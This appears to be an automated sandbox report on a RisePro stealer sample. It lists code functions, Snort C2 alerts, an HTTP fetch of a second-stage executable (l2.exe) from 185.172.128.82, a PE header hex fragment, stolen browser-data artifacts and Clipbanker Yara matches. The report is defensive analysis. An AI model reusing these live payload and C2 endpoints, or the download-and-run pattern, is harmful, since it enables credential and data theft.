Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004E6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	2_2_004E6770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00493F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	2_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00431F9C FindClose,FindFirstFileExW,GetLastError,	2_2_00431F9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00432022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_00432022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004938D0

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339ABD8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_033941DC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339ABD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339AF08
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339AF00
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339ADF8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339ADF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_03399C04
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339ACE8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_0339ACE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 062E3B32h	0_2_062E3A80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 062E3B32h	0_2_062E3A7B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_062E3748
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_062E3750
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 062E333Ah	0_2_062E3288
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 062E333Ah	0_2_062E3283

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.4:49730 -> 185.172.128.136:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 185.172.128.136:50500 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 185.172.128.136:50500 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2046268 ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) 192.168.2.4:49730 -> 185.172.128.136:50500
Source: Traffic	Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.4:49733 -> 185.172.128.82:80
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49730 -> 185.172.128.136:50500
Source: Traffic	Snort IDS: 2049660 ET TROJAN RisePro CnC Activity (Outbound) 185.172.128.136:50500 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 185.172.128.136:50500 -> 192.168.2.4:49734

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 185.172.128.136:50500

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Thu, 23 May 2024 21:33:06 GMTContent-Type: application/octet-streamContent-Length: 4563640Last-Modified: Wed, 22 May 2024 06:47:19 GMTConnection: keep-aliveETag: "664d94f7-45a2b8"Accept-Ranges: bytesData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 104.26.4.15 104.26.4.15

Source: Joe Sandbox View	ASN Name: NADYMSS-ASRU NADYMSS-ASRU
Source: Joe Sandbox View	ASN Name: NADYMSS-ASRU NADYMSS-ASRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: HEAD /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.172.128.82Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.172.128.82Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.82
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.82
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.82
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_004C8590 recv,WSAStartup,getaddrinfo,closesocket,socket,connect,closesocket,freeaddrinfo,WSACleanup,freeaddrinfo,

2_2_004C8590

Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.172.128.82Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com

Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/k/l2.exe
Source: RegSvcs.exe, 00000002.00000002.4088382278.0000000005140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/k/l2.exe-u
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/k/l2.exeR0
Source: RegSvcs.exe, 00000002.00000002.4088382278.0000000005140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/k/l2.exe~u
Source: MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, 00000000.00000002.1650745382.00000000052F5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000002.00000002.4085512591.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: RegSvcs.exe, 00000002.00000002.4087862443.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.175
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.1750
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.175
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: file.exe, 00000000.00000002.1650745382.00000000052F5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4085512591.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4086941629.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.175
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.175
Source: MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://support.mozilla.org
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 3mPJKgsigfIE_SLZsizIH3r.zip.2.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.2.dr	String found in binary or memory: https://t.me/risepro_bot
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot%0
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botlater3.175
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegSvcs.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegSvcs.exe, 00000002.00000002.4089027657.000000000517A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegSvcs.exe, 00000002.00000002.4088382278.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, D87fZN3R3jFeplaces.sqlite.2.dr, 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegSvcs.exe, 00000002.00000002.4089027657.000000000517A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/V
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/g
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/r
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegSvcs.exe, 00000002.00000002.4089027657.000000000517A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegSvcs.exe, 00000002.00000002.4089027657.000000000517A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/XE;
Source: RegSvcs.exe, 00000002.00000002.4088382278.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, D87fZN3R3jFeplaces.sqlite.2.dr, 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/refox

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_004E5FF0 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,DeleteObject,GdipDisposeImage,DeleteObject,ReleaseDC,GdiplusShutdown,

2_2_004E5FF0

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 22.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 22.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 21.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 21.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
